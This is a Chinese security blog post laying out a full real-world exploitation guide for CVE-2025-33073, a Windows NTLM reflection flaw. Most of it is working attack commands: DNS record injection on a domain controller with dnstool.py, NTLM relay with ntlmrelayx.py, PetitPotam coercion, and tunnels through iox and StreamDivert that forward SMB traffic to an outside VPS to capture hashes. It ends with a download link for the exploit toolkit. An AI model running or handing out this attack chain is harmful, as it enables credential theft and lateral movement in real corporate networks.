内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具

admin 2025年6月25日16:34:01评论6 views字数 4150阅读13分50秒阅读模式
 前言

参考资料
在上一篇文章中,对 CVE-2025-33073 的漏洞原理进行了比较深入的分析,同时在靶场环境中进行了漏洞复现。出于漏洞原理和红队行动规范的原因, CVE-2025-33073 在实际利用的过程中比靶场会更加麻烦一些。本文将基于实战利用的场景对 CVE-2025-33073 进行全流程的攻击梳理。
  1. 靶场复现中存在的 Windows 端口占用问题在实战中没有太大影响,因为不可避免的需要走隧道进行利用,那么外网的 VPS 机器直接选择 Linux 即可。如果确实有需要用到 Windows 进行利用的情况,按照章节 0x04 中不出网的部分进行转发即可。为了帮助小白更好的理解,文章最后也会对其单独进行讲解。
  2. 为了使流程更加清晰,文中按照步骤搭建不同的隧道,实战情况下可以使用 frp 等能转发 SMB 的工具进行转发,简化利用流程并减少文件上传的数量。
如果想深入了解此漏洞,建议阅读前文。
内网横行:CVE-2025-33073漏洞分析与攻击复现

薛定的饿猫,公众号:饿猫的小黑屋内网横行:CVE-2025-33073漏洞分析与攻击复现
0x01 环境准备

参考资料
域控DC Windows server 2022:192.168.214.134域内目标主机 Windows server 2022:192.168.214.135外网主机 Windows server 2022192.168.214.136192.168.56.130(模拟外网IP) 攻击机 Windows 11:192.168.56.131公网VPS Kali Linux:192.168.56.129
0x02 最简攻击流程梳理

参考资料
先回顾一下正常攻击的流程,主要分为三个步骤:
1. 向 DNS 服务器(域控)添加 DNS 记录。
python dnstool.py -u luckytom.comdomainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134
2. 开启监听,用于接收目标服务器发起的认证请求并反射回给目标服务器。
python ntlmrelayx.py -t 192.168.214.135 -smb2support
3. 强制目标服务器向指定的主机发起 NTLM 认证。
python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
具体的攻击逻辑是如何实现的呢?
1. 攻击者在域控上添加一条精心构造的 DNS 记录,将主机名 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 指向攻击者的 IP 192.168.214.1382. 攻击者在内网跳板机(不必在域内,网络连通即可)上启动 SMB/LDAP 等协议的监听,接收到目标主机发起的 NTLM 认证请求后将其反射回目标主机3. 强制目标主机向 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 发起 NTLM 认证3. 目标主机向域控查询 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的 A 记录,并解析到 IP 192.168.214.1384. 目标主机向攻击者(192.168.214.138)发起 NTLM 认证请求5. 攻击者将收到的认证请求反射回目标主机6. 目标主机触发漏洞进行本地身份验证7. 在本地身份验证握手中,攻击者监听到有 Token 的上下文句柄,并提取 Hash
0x03 实战中不是问题的问题

参考资料
1. Windows 445 端口占用2. 相关利用脚本均依赖impacket
依赖impacket是很常见的问题,一般走隧道解决即可,主要问题在于入口机器如果是 Windows 的话,则会存在因为系统默认的 SMB 服务导致的端口占用问题。
如果在 Windows 下直接开启监听,那么会遇到监听失败的情况,而如果通过--smb-port监听指定端口,又会导致默认是跟 445 端口进行验证而无法正常获取到上下文句柄的问题。那么如何解决呢?
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
原本想通过对 PetitPotam.py 进行改造以实现非默认端口的认证,但是受限于 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的影响,最终没找到可以直接指定端口的方法,具体原因不与漏洞原理有关,可以参考上一篇文章,如果有师傅想继续研究可以跟我交流。
除此之外还能想到就是端口转发,关闭SMB服务等方法。关闭SMB服务对系统影响较大,也不符合红队行动规范,因此最终通过康哥(@浮尘云烟)推荐的 StreamDivert 实现转发,具体的利用将在后续讲到。
那么为什么说这是一个不是问题的问题呢?因为在实际利用当中我们大概率是会使用隧道来执行脚本的,那么我们的攻击机器完全可以使用 Linux 系统。
0x04 完整攻击流程

参考资料
搭建环境如下,并将入口机上线到攻击机的 CS:
已获得普通域用户:domainuser01 / User01!@#域控DC Windows server 2022:192.168.214.134域内目标主机 Windows server 2022:192.168.214.135入口跳板主机 Windows server 2022192.168.214.136192.168.56.130 (模拟外网IP) 攻击机 Windows 11:192.168.56.131公网VPS Kali Linux:192.168.56.129
一. 目标主机出网
在目标出网的情况下可以直接在 VPS 服务器上进行监听。
1. 开启 socks 代理并配置本地 proxifier 。
iox.exe proxy -l 8080
2. 向域控添加 DNS 解析记录。因为 LDAP 使用 TCP 而 DNS 查询使用 UDP (DNS 服务器一般默认支持 TCP 查询),为了实现实战中不同工具场景下更好的兼容性 ,最好是将 UDP 封装到 TCP 中传输 ,dnstool.py 已经集成了该功能,可以非常方便的直接使用。
python dnstool.py -u luckytom.comdomainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.137 --action modify 192.168.214.134 --tcp# 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
3. 开启 relay 监听,因为目标主机出网因此不必指定端口。
python ntlmrelayx.py -t 192.168.214.135 -smb2support
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
4. 强制目标主机发起 NTLM 认证。
python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
5. 监听主机接收到 Hash。
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
二. 目标主机不出网
这种情况需要在入口机器上搭建一层隧道来实现流量的转发。
1. 开启 socks 代理并配置本地 proxifier 。
iox.exe proxy -l 8080
2. 向域控添加 DNS 解析记录,此时需要将解析指向入口机器 IP 192.168.214.130。
python dnstool.py -u luckytom.comdomainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134 --tcp# 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
3.在 VPS 开启监听。如果是 Windows 主机,则使用--smb-port 指定一个端口。
注意这里需要使用 proxychains 来运行 ntlmrelayx.py ,因为 VPS 接收到目标机器的验证请求之后需要通过 iox 隧道将其反射回内网。具体原理可以参考上一篇文章。
proxychains python3 ntlmrelayx.py -t 192.168.214.135 -smb2support
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
4. 在入口机搭建隧道,将本地 445 端口流量转发到远程 VPS 主机的监听端口。
StreamDivert 配置文件如下:
tcp < 445 0.0.0.0 -> 192.168.56.129 445
5. 加载配置文件启动转发:
shell StreamDivert.exe config.txt
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
6. 强制目标主机发起 NTLM 认证。
python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
7. 攻击完成。
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
0x05 Windows 端口占用问题

参考资料
跟前面差不多,就不赘述了。
内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
参考链接
https://mp.weixin.qq.com/s/NrGyltW-f8a3Zqr0-4oYnw
*

 工具集下载地址

通过网盘分享的文件:CVE-2025-33073.zip
链接: https://pan.baidu.com/s/1nUapUZaxi7yO_K0TCDp7og?pwd=8imv 提取码: 8imv 复制这段内容后打开百度网盘手机App,操作更方便哦
--来自百度网盘超级会员v9的分享

原文始发于微信公众号(进击的小K):内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月25日16:34:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网横行:CVE-2025-33073 实战场景利用全流程指南 | 附利用工具https://cn-sec.com/archives/4199466.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息